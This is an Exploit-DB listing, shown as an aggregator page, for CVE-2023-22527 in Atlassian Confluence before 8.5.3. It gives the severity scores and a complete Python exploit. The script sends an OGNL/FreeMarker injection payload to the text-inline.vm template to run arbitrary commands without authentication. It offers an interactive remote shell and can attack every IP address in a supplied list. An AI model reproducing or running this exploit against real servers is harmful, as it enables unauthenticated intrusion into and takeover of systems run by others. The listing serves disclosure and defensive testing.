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MaanVaderEDB-ID:51904

HistoryMar 18, 2024 - 12:00 a.m.

Atlassian Confluence < 8.5.3 - Remote Code Execution

2024-03-1800:00:00

MaanVader

www.exploit-db.com

atlassian confluence

rce

vulnerability

version 8.5.3

remote code execution

cve-2023-22527

exploit

maanvader

vendor homepage

software link

tested on

request payload

interactive shell

command execution

ssl warnings omitted.

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.974 High

EPSS

Percentile

99.9%

JSON

# Exploit Title: CVE-2023-22527: Atlassian Confluence RCE Vulnerability
# Date: 25/1/2024
# Exploit Author: MaanVader
# Vendor Homepage: https://www.atlassian.com/software/confluence
# Software Link: https://www.atlassian.com/software/confluence
# Version:  8.0.x, 8.1.x, 8.2.x, 8.3.x, 8.4.x, 8.5.0-8.5.3
# Tested on: 8.5.3
# CVE : CVE-2023-22527



import requests
import argparse
import urllib3
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from rich.console import Console

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Argument parsing
parser = argparse.ArgumentParser(description="Send a payload to Confluence servers.")
parser.add_argument("-u", "--url", help="Single Confluence Server URL")
parser.add_argument("-f", "--file", help="File containing list of IP addresses")
parser.add_argument("-c", "--command", help="Command to Execute")
parser.add_argument("--shell", action="store_true", help="Open an interactive shell on the specified URL")
args = parser.parse_args()

# Rich console for formatted output
console = Console()

# Function to send payload
def send_payload(url, command):
    headers = {
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    payload = ('label=\\u0027%2b#request\\u005b\\u0027.KEY_velocity.struts2.context\\u0027\\u005d.internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%2b\\u0027'
                      '&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"' + command + '"}))\r\n')
    headers['Content-Length'] = str(len(payload))
    
    full_url = f"{url}/template/aui/text-inline.vm"
    response = requests.post(full_url, verify=False, headers=headers, data=payload, timeout=10, allow_redirects=False)
    return response.text.split('<!DOCTYPE html>')[0].strip()

# Interactive shell function
def interactive_shell(url):
    session = PromptSession()
    console.print("[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]")
    while True:
        try:
            cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))
            if cmd.lower() in ["exit", "quit"]:
                break
            response = send_payload(url, cmd)
            console.print(response)
        except KeyboardInterrupt:
            break
        except Exception as e:
            console.print(f"[bold red]Error: {e}[/bold red]")
            break

# Process file function
def process_file(file_path):
    with open(file_path, 'r') as file:
        for line in file:
            ip = line.strip()
            url = f"http://{ip}:8090"
            console.print(f"Processing {url}")
            print(send_payload(url, args.command))

# Main execution logic
if args.shell and args.url:
    interactive_shell(args.url)
elif args.url and args.command:
    print(send_payload(args.url, args.command))
elif args.file and args.command:
    process_file(args.file)
else:
    print("Error: Please provide a valid URL and a command or use the interactive shell option.")